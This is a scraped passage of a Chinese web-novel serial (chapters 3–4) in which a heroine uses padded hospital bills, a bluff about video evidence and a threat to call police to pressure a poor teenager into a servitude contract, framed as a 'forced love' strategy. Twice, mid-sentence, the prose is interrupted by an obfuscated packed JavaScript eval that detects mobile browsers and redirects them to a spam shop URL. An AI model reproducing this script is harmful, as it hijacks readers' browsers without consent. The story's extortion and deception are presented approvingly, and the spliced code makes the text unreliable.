《攻略那个守财奴[快穿]》 3. 第3章 一听就带着明晃晃的不怀好意,都不需要去仔细分辨。 少年心底一个咯噔,有种不好的预感。 手里的报告被翻得哗哗响。 很快,就在最下面,找到了医院的收费单。 合计费用:86500元。 少年死死盯着这串数字,不信邪的又重新数了一遍。 没数错,就是捌万陆仟伍佰元! 这女人是带他去做了器官移植吗?! “你他妈抢钱啊?!” 少年猛地抬起头,眼底燃烧着怒火,声音都像是从牙缝里挤出来的。 “什么体检要八万多!” 拂衣早就等着他这句话,不慌不忙往后一靠。 “全身深度体检,外加基因测序和三位专家会诊。” 她唇边挂着无辜的笑,刻意放慢语速,报菜名一样,给他一项一项数着。 在他醒之前,她可是特意查了一下他身上的穿着。 学校统一的校服看不出什么,但那双洗得发白,某夕夕上19.9买的鞋子,一看就没钱。 这些项目,可都是她精心为他挑选的。 保证以他现在的身价,绝对还不起! “详细项目清单在背面,你自己看,每一项都是明码标价,我可没骗你。” 少年飞快地把单子翻到背面。 果然,看到了密密麻麻的一长串项目,很多项目他连听都没听过。 晦涩陌生的名词,看得他头晕眼花。 可越是看不懂,他心头那股火就烧得越旺。 “老子又没要做这些!” 他气得一把将账单揉成一团,狠狠砸在地上。 “是你自作主张,凭什么要老子承担?!” 看着他这副气得不轻,眼尾都隐隐发红的模样,拂衣眼底闪过一丝得逞的笑意。 面上,却故作无奈地摊手。 “同学,你当时晕倒在我面前,我和你又不认识,怎么会知道你是因为什么晕的,万一你在我面前出了事儿,我负不起这个责的。” 少年被她这番无奈又“义正言辞”的话给堵得胸口发闷。 “明明就是你打晕的我!” 他没傻! 记得清清楚楚,当时就是一靠近她,脖颈上传来一阵剧痛,紧接着就失去了意识。 怎么可能是因为低血糖晕的! 拂衣眼睫垂了下,做出一副伤心难过的姿态。 “同学,你觉得,我真的有那个能力,能打晕你吗?” 有意无意的,她刻意把包着纱布的手往前递了递。 “……” 少年一哽,所有的脏话,都被纱布上那一点淡淡的血色给卡住。 一个字都说不出来。 就她这看着娇小又柔弱的模样,尽管他心里清楚是怎么回事儿,可没人会相信。 拂衣唇角几不可见地勾了勾,又迅速放平。 她肩膀往下一垮,声音低落。 “不过我人好,给同学垫付的体检费用,我可以不要。” 少年皱着的眉还没松开,就见她从兜里摸出了一张折在一起的纸。 尽管纸被折着,可还是能看得出来,这张纸,和刚刚被他揉成一团扔了的账单,是同样的材质。 少年心底涌起一股更加不好的预感。 “但是,同学伤了我的治疗费,总得赔给我吧?” 纸张被那双细嫩的手一点点展开、压平,然后,小心翼翼,却又无比准确地放在了他面前。 “我也不多要别的赔偿,只需要原价赔偿医药费就可以了。” 拂衣眨着眼,看上去弱小可怜又无助。 “我当时看得很清楚,那把刀虽然不是你的,却是你踢过来弄伤的我。” 少年下意识往后缩,仿佛那不是一张纸,而是什么洪水猛兽。 深呼吸了好几次,他才去拿那张几乎决定着他命运的纸。 合计费用:20685元。 有零有整。 没有体检那么贵,但也足够让他呼吸一滞。 “两万……?” 少年声音发干,几乎不敢相信自己的眼睛。 尽管心里已经有了准备,可真的看到时,还是没有办法接受。 “就被刀轻轻割了一个口子,就要两万?!” 她是用金子做的药? “你确定你没被医院坑?” “止血凝胶比较贵。” 拂衣适时地指了指自己胳膊上的纱布,神情无辜。 “我凝血功能很差,如果不用特效药来止血,很有可能会失血过多而死的。” 其实没那么严重,要真是这样,林夕早就死了,哪里还等得到她过来。 但不影响拂衣瞎编,往严重了说来忽悠他。 少年眼前阵阵发黑,感觉整个世界都在旋转。 “我没钱。” 或许是气到了极点,他语气反而平静了下来。 带着点儿破罐子破摔的意味。 “实在不行,我让你割回来好了。” “同学你说什么呢?我怎么可能做这样的事情?” 拂衣满脸不赞同,一副善良柔弱的好学生样。 少年扯了下唇角,索性闭上眼睛,没搭理她。 虚伪。 拂衣也不急,笑着叹息了一声,拿出手机。 “既然同学不肯私了的话,我们只能走司法程序了。” 嘟——嘟——的电话音传来,少年猛地睁开眼,朝她的手机看过去。 屏幕上正在拨通的电话,是加粗放大,清晰无比的110。 他心头一跳,顾不上别的,一把抢过了她的手机挂断,咬着牙瞪着她。 “你他妈疯了?!” 居然报警? 拂衣略微瑟缩了下,眼底藏着狡黠。 “我没有。” 少年已经气得浑身发抖,指着她半天,一个字都说不出来。 好不容易把心底翻涌的情绪给压下去,他努力保持着冷静,试图和她讲道理。 “我真的没钱,你就算报警我也没钱。” “那我的伤就白受了么?” “……” 少年没法反驳。 刀不是他的,可确实是被他踢过去的。 虽然不是有意,可…… 那个到了嘴边的“是”字,怎么也吐不出来。 他只能烦躁地揉着头发,据理力争。 “我弄伤了你,你也打晕了我,我们两清扯平了不行吗?” 拂衣撇了下嘴。 他怎么还没忘记这茬。 “你没证据证明是我打晕的你,倒是我……” 她拿起被他扔掉的账单,在手里拍了拍。 “有证据证明你到底是怎么晕的。” “难道你就能证明是我伤的你?” 那条小巷可没有监控。 否则也不会成为小混混们的约架圣地。 拂衣眉眼一弯,声音清脆。 “我录视频了。” “?” “本来是想去告诉老师的,没想到现在却成了证据。” “???” 少年第一时间低头去看手里的手机,拂衣的声音,又已经幽幽传来。 “你不用想着删视频,没用的,视频早就上传到云端备份了,你在手机上删了也没用。” “……” 【灵主,您真录视频了?】 她什么时候录的,它怎么没看见? 拂衣敛眉,背过身遮住了眼底溢出的笑意。 当然没有,我诓他呢! 她又不是闲得慌,还专门录个视频告老师。 【……】突然有点儿同情主人。 看着她拿着那皱巴巴的账单往外走,少年下意识询问。 “你干什么去?” 拂衣头也都没回。 “出去报警,让警察叔叔来判责任归属和赔偿问题。” “……” 操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786553|190488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 少年这下坐不住了,一骨碌从床上蹦起,跑去拉住她。 “我赔!我赔还不行吗?” 真他妈倒霉! 那几个孙子,别让他再碰见他们。 下次遇见了,他非得把这些损失从他们嘴里抠出来! 拂衣顺势停住,回过身,抱着手将信将疑地看着他。 “真的?” “真、的!” “我不信。” “……” 少年彻底抓狂了。 “那你到底想怎么样?!” 拂衣做出思考状,在少年忐忑不安的等待中,缓缓从书包里翻出纸笔,唰唰唰写了几行字,拍在他面前。 “签了它!” “……” 少年拿着纸张看了几眼。 她的字和她这副乖巧的外貌一点儿也不像。 张牙舞爪的,他形容不出来,只知道很好看。 可上面的内容,就不怎么好看了。 “端茶送水,随叫随到,任凭差遣……直至甲方觉得十万抵还清楚?” 少年那股戾气又开始往外冒。 “不是两万?怎么又成十万了!” 那八万的体检费到底怎么来的,他们都心知肚明。 她这是真把他当冤大头? 是谁说体检费可以不要的? 骗子! 拂衣也不反驳,镇定得一批。 依旧是那副好学生的乖巧样子。 “报警走司法程序还钱,还是签了这份协议,肉偿抵债,你自己选。” 少年额角跳了下。 见鬼的肉偿。 谁家肉偿是这么偿的。 况且,她根本就没给他选的余地! 拂衣也不急,安静地站在边上,等着他做决定。 很久后,少年才拿起笔,在乙方的位置,签上了自己的名字。 不管那八万的体检费是不是因为他自愿产生的,要是进了局子,都得被划分成是他的责任。 而且…… 他不能进去,哪怕不会被关也不能。 签好后,笔重重一扔,沉着脸瞪着她。 “现在满意了?” 拂衣拿起这份简陋的协议,扫了眼上面的签名。 江燃。 倒是一个跟他这狗脾气挺般配的名字。 协议一式两份。 把江燃的那份给他,自己的则小心地装进书包。 还专门拆了个书壳出来存放,看得少年又是一阵火大。 拂衣笑着抬头,浑身都透着软。 “那么,江燃同学,现在,请送你的债主回学校吧!” “……” 江燃拿起床头柜那件带血的校服外套,气势汹汹地往外走。 砰—— 病房门被拉得格外用力,砸在墙上,发出巨大的响声。 吓得走廊上的人纷纷探着脑袋往这边看。 拂衣气定神闲地跟在他身后,看着他那像是要去杀人的背影,笑得像只小狐狸。 甚至遇到刚才给她包扎的护士时,还好心情地跟她打了声招呼。 【……灵主,您这么对主人,真的好吗?】 她不是要攻略主人,让主人信任她吗? 这一上来就把人给得罪死了,还怎么攻略啊! 系统仿佛已经看到了主人回归失败的场景,又想哭了。 拂衣满脸无辜。 “我不是照着你给的资料做的么?” 【……啊?】 她确定吗? 拂衣从识海里扒拉出那些资料,指着其中一行给系统看。 那上面,赫然写着一排加粗标红的标题。 攻略心得之强制爱。 “第一步,一纸合约,断他后路,将人收入囊中。第二步,清除异己,让他的选择只剩你。第三步,极致的好,全方位渗透,除了命,他要什么给什么,必要时候,命也可以给,滴水石穿,温水煮青蛙!” 4.第4章 拂衣一字一句,字正腔圆地念着上面的内容。 “我可是仔细研究过了的!” 全部都是按照攻略上严格执行的。 【……】 这是哪个虎逼系统发上来的! 它要投诉!!! 不管系统投诉成功与否。 拂衣还是顺利被憋着股火的江燃给送到了一中附近。 江燃没过去,在距离校门口还有百来米的地方就停了下来。 “你自己过去。” 语气生硬,态度冷漠。 说完也不管她答不答应,转身就要离开。 拂衣眼疾手快,一把抓住了他的胳膊。 “你干什么去?” 动作太急,忘了右手胳膊上还有伤。 这一用力,又扯到了伤口。 拂衣只瞥了眼,就没再管,死死拉着他。 联系方式都还没留呢,怎么可能让他就这么走了。 她毫不怀疑,一旦让他就这么走了,他绝对会躲得远远地,不让她找到。 江燃顿了下,摁着额头。 “上课啊,债、主!” 边说边回过头。 目光触及到她胳膊上缠着的纱布时,眉心一跳。 原本只是有点淡淡血迹的纱布,此时已经被染红了一大片,格外刺眼。 他赶忙回过身,小心扶着她的胳膊,满肚子脏话。 “喂,碰瓷也不是你这么碰的吧?” 拂衣也很无奈。 她只是忘了。 “我书包里有特效药和纱布,你给我重新弄一下呗。” “……” 江燃还能说什么,只能忍着气,沉着脸拿过她的书包。 这书包看着不大,却很沉。 刚入手,没什么防备,差点儿没拎稳。 掂了掂手里的重量,江燃诧异地看了她一眼。 这书包里是装了砖头么? 这么沉。 偏偏她这小身板,背着个这么重的书包,竟然也没见她摇晃踉跄。 力气倒是挺大。 憋着心底的吐槽,江燃打开书包在里面翻找。 里面装的不是砖头,而是各种课本、试卷。 难怪这么沉呢。 纱布药品就在一个塑料袋里,团成一团,随意塞在一个角落。 不知道的还以为这是什么垃圾。 想到那收费单上的价格,江燃面颊抽了下。 真是…… 抿了下唇,到底没说什么。 塑料袋里的药种类挺多的,口服的外敷的什么都有。 江燃记性好,很快就找到了那个收费单上价格死贵的特效药。 “抬手。” 硬邦邦的声音,倒像是拂衣欠了他钱。 拂衣也不计较,从善如流地抬起胳膊。 他处理伤口的动作非常利索。 拆旧纱布、清理伤口、缠纱布一气呵成。 就是手法有点粗鲁,最后打的结也歪歪扭扭的。 拂衣拨了下那丑兮兮的结,又觑了眼他那张写满了烦躁的脸。 忍了忍,没再说什么刺激他的话,只左手手心朝他一摊。 “手机给我。” 江燃皱了下眉,警惕地往后退了一步。 “你要我手机干什么?” 拂衣眨了眨眼,保持着无害的微笑。 “问那么多干什么,你给不给?” “不……” “十万。” “……” 江燃沉默几秒,默默从兜里摸出手机塞她手里。 手机壳磨损严重,屏幕中央布满蜘蛛网般的细纹。 尽管没有设密码,解锁过程也卡顿了好一会儿。 江燃手指紧了紧,仔细打量着她的神色。 可惜,她始终没有什么特别的情绪。 既没有对这手机的嫌弃嘲笑,也没有因为卡顿而带来的烦躁。 她只是平静地点开拨号界面,熟练地输入自己的号码拨通。 兜里的手机响了几声,拂衣挂断了电话,把手机还给了他。 “喏,以后午休和放学记得来一中接我。” 重新把手机塞回兜里,江燃眉头死死皱着。 “不行。” “为什么?” 拂衣有点不高兴。 别人家的契约小女仆明明很听话的! 凭什么他就这也不行那也不行! 【……】 总觉得灵主似乎走上了一条歪路。 可它不知道该怎么把她给掰回来。 怎么办?在线等,挺急的。 江燃闭了下眼,深深吸了口气。 “我放学后要去打工,没时间。” 拂衣愣了下。 视线又下意识落在了他脚上那双洗得发白的鞋上,想到那部老旧的手机。 他好像确实挺缺钱的。 系统,你有没有他的资料? 【有,我刚才去查了。】 给我。 【好。】 江燃,十七岁,尚林三中高二学生。 他妈年轻时恋爱脑,看上他爸的脸,不顾家人劝阻跟他爸私奔。 生下他之后,曾经轰轰烈烈的爱情变成了柴米油盐和生活里的鸡毛蒜皮。 她实在受不了江家的贫困和江爸的不上进,扔下他们跑了。 老婆跑了,江爸被人嘲笑,又气又怒下喝了个烂醉,失足摔下臭水沟被淹死。 江燃就这样成了没有爸爸妈妈的孤儿。 他是被江奶奶带大的,妈妈的抛弃,爸爸的意外死亡,让他成了那条巷子里其他小孩儿嘴里没人要的野孩子。 所有人都欺负他们奶孙俩,为了保护奶奶,江燃从小就和人打架,狠起来不要命。 初中时,江燃本来不想继续读书,打算自己出去打工,可奶奶说什么都不同意。 她最大的愿望就是他能考上一个好大学,做个有出息的人。 江燃不忍心看到相依为命的奶奶失望,只能继续念。 可他成绩不好,拼死拼活,也只堪堪上了和职高无异的三中。 高二上学期时,奶奶得了阿尔兹海默症,需要很大的一笔钱去治疗。 江家没那么多钱,江燃没办法,只能到处打临工,努力攒钱。 再次看向面前这个清瘦却倔强的少年。 拂衣都有点同情他了。 实在是太惨了。 难怪在医院的时候,他会那么怕她报警。 是不想让奶奶担心吧? 【灵主,您现在有没有觉得,您特别不是人。】 拂衣挑眉。 并没有。 【……】 她没有心! “你在哪里打工?” 江燃把书包挂在她没受伤的胳膊上。 “这个不在协议范围内。” 他并不想在这个问题上多说。 尤其是和一个才认识一天不到,就讹了他十万的人。 “午休我会来接你,晚上放学不行。” 扭头就走,甚至还刻意侧了下身子,避免她又伸手抓他。 这次,拂衣没再留他,拎着书包,站在原地目送他快速离开。 【灵主,您在想什么?】 总觉得她没安好心。 直到江燃的背影消失在拐角,拂衣才收回视线。 “在想……” 拂衣提着书包,慢吞吞往学校里走,唇边微微勾着。 “我大概知道第三步该怎么走了。” 【……】 【啊?】 —— “报告!” 第三节课已经开始,拂衣才匆匆赶到学校。 幸好她之前就已经拍了胳膊上的伤,跟老师请了假。 她的身体情况,班主任还是清楚一些的。 看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789599|190488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她胳膊上缠着的纱布,没多问就让她回了座位。 林夕的同桌,是个长相清秀的女生。 等老师转回去写板书,立刻举着课本凑了过来。 “小夕,你这是怎么搞的?” 同桌叫姜媛,知道林夕身体不好,平时挺照顾林夕的。 是林夕在班上为数不多的好朋友。 拂衣也学着她的样子,凑过去轻声回答。 “在小巷子里遇到三中的打架,被误伤了。” 姜媛吸了口气,瞪大了眼睛看着她。 还想再问,老师却已经转回来。 姜媛只得坐直了身子,把满心疑问给咽了回去。 一直熬到下课,才终于憋不住。 “小夕,快说说怎么回事儿?你怎么会突然去那条巷子?” “快迟到了,走巷子近,谁知道会这么倒霉呢?” 拂衣半真半假地说着,脸上是恰到好处的无奈表情。 “你这是挺倒霉的!” 姜媛心疼地看着她的胳膊,想碰又不敢碰。 “伤得重不重啊?医生怎么说?” “还好,就是流了点血,现在已经止住了。” 林夕的凝血功能差,姜媛也是亲身体会过的。 也知道只要止血了,就不会再有问题。 姜媛这才放下心来,絮絮叨叨叮嘱着她回去得好好补补血。 拂衣笑着一一应下,从始至终,姜媛都没发现她身边的好友已经换了个人。 直到这时候,系统才发现,这位灵主的演技,还挺好。 至少,如果忽略眼神和一些小动作,她看上去和原本的林夕几乎没有什么差别。 这可真是…… 拂衣并没有在学校呆到放学。 最后一节课还没开始,她就跑去找班主任拿了假条,提前离开了学校。 得益于她的特殊情况,班主任批假批得很痛快。 【灵主,您提前出来,是有什么事儿吗?】 “没有啊。” 拂衣背着那个沉甸甸的书包,慢悠悠走在那条让她受伤的小巷子里。 【……】 那她出来干什么? 很快,系统就知道她是来干什么的了。 她居然翘课跑到三中来蹲主人! 这是她堂堂一界之主该干的事儿么?! 偏偏她不仅干了,还干得相当熟练。 拂衣蹲在三中校门口,嘴里咬着根冰棍,活像个小流氓。 “对了,统子。” 【怎、怎么了?】 怎么有点瘆得慌? “你有没有名字?” 【……】 就这事儿啊? 早说嘛,吓死统了! 【有的,主人给我取名叫金元宝,灵主也可以这么叫我。】 “啧。” 拂衣嫌弃地撇了下嘴。 “真是俗气的名字。” 【……】 那它家主人就是个爱财如命的俗人嘛。 金元宝也不敢吱声,只能沉默以对。 大概是等着无聊,拂衣又问了它很多画风清奇的问题,折磨得它苦不堪言。 在这煎熬中,三中的放学铃声终于响起,学生们如出笼的小鸟,飞奔着往校门口涌来。 最明显的,就是江燃。 尽管他的脸和温九府不一样。 可不得不说,他现在这张脸,在这群稚气未脱的高中生里,实在是太耀眼了。 耀眼得在人群中,第一时间就能吸引走所有人的注意力。 拂衣拍了拍手,吐掉嘴里叼着的小木棍,从地上站起身来,唇边泛起笑容。 “江……” 她看见他的同时,江燃也看见了她。 和她的热情相反,一见到她,江燃立即拨开人群,拔腿就跑。 他人高腿长,几步就钻进人群里,跑了个没影儿。 “……燃。”